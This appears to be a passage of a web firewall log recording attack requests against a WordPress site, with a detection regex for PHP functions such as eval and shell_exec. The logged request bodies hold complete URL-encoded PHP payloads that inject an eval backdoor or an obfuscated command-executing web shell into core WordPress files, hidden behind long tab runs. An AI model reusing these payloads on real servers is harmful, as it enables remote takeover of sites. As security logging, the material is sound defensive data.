4start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nef=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:23","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:2056\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:45:25","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nLk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:28","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nlq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:31","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%2